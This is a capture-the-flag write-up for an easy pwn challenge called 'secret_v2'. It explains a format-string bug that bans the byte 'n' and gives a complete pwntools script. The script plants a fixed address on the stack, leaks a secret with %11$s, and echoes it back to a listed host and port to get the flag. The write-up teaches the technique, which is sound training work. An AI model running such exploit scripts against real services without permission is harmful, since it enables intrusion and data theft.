secret_v2 — format string without %n
secret_v2 — format string without %n
Platform: spbctf | Category: pwn | Type: Challenge | Difficulty: Easy | OS: NA | Author: XESXOR | Date: 2026-04-18 | Status: Solved Techniques: format_string_s_read, printf_leak_at_fixed_address, stack_pointer_planting
Summary
Task: format-string bug with a filter that bans the byte 'n' (so no %n) but still allows %s; secret is stored in BSS at a fixed No-PIE address and later compared against user input. Solution: plant the secret's address on the stack by placing it inside the input buffer and dereference it with %11$s to leak the secret, then echo the secret back to retrieve the flag.
secret_v2 — SPB CTF Pwn Season
Description
Format String, 10 pts
nc 109.233.56.90 11642Binary:secret_v2.elf(x86_64, stripped, No PIE, Partial RELRO, NX, no canary)
English summary: a format-string bug where the byte 'n' is filtered out (so %n-based writes are impossible), but %s is allowed, and the secret we need to echo back is at a known fixed BSS address.
Analysis
main (0x4013d4):
generate_secret()writes a random 8–32 byte string into a global BSS buffer at the fixed address0x4040e0(No PIE).printf("Payload: ").fgets(buf[32]=rbp-0x20, 32, stdin)plus newline strip.- Filter at
0x401212: walks the input byte-by-byte, exits on any byte equal to'n'(0x6e). This blocks the%nfamily. puts("Hmmm...").printf(buf)— format string vuln, no%sfilter, onlynbanned.fgets(answer[32]=rbp-0x40, 32, stdin)after theSecret:prompt.strncmp(secret_global, answer, strlen(secret))— on a full match,fopen("/flag", "r"),fgets,printf("Flag: %s\n", ...).
Because the binary is not PIE, the secret address is a hard-coded constant and the filter only bans n (0x6e) — 0x4040e0 itself contains no 0x6e bytes, so we can happily place that pointer inside our format string.
Stack probe with %N$p shows that our fgets buffer starts at argument position 10, so position 11 corresponds to bytes 8..15 of our input.
Solution
We craft a 16-byte payload:
b'%11$s' + b'AAA' + p64(0x4040e0)
Layout:
- Bytes 0..4:
%11$s— printf goes to the 11th positional argument (= bytes 8..15 of our buffer) and dereferences it as achar *. - Bytes 5..7:
AAApadding to align the following pointer to the qword boundary. - Bytes 8..15:
\xe0\x40\x40\x00\x00\x00\x00\x00— the address0x4040e0.
None of these bytes is 0x6e (n), so the filter accepts the input. printf then prints the NUL-terminated secret from 0x4040e0, followed by the padding (AAA + low bytes of the address) that came from our own buffer.
Splitting the response on AAA isolates the raw secret. We send it back as the second input, and the server prints the flag.
python read-only • copy allowed#!/usr/bin/env python3 from pwn import * context.arch = 'amd64' SECRET_ADDR = 0x4040e0 HOST, PORT = '109.233.56.90', 11642 p = remote(HOST, PORT) p.recvuntil(b'Payload: ') payload = b'%11$s' + b'AAA' + p64(SECRET_ADDR) assert b'n' not in payload p.sendline(payload) p.recvuntil(b'Hmmm...\n') line = p.recvline().rstrip(b'\n') # secret + "AAA" + addr bytes secret = line.split(b'AAA', 1)[0] log.success(f'secret = {secret!r}') p.recvuntil(b'Secret: ') p.sendline(secret) print(p.recvall(timeout=5).decode(errors='replace'))
Sample run: leaked secret 1_P%=Hs1"/H/unZpFOb@etG → server prints Flag: spbctf{...}.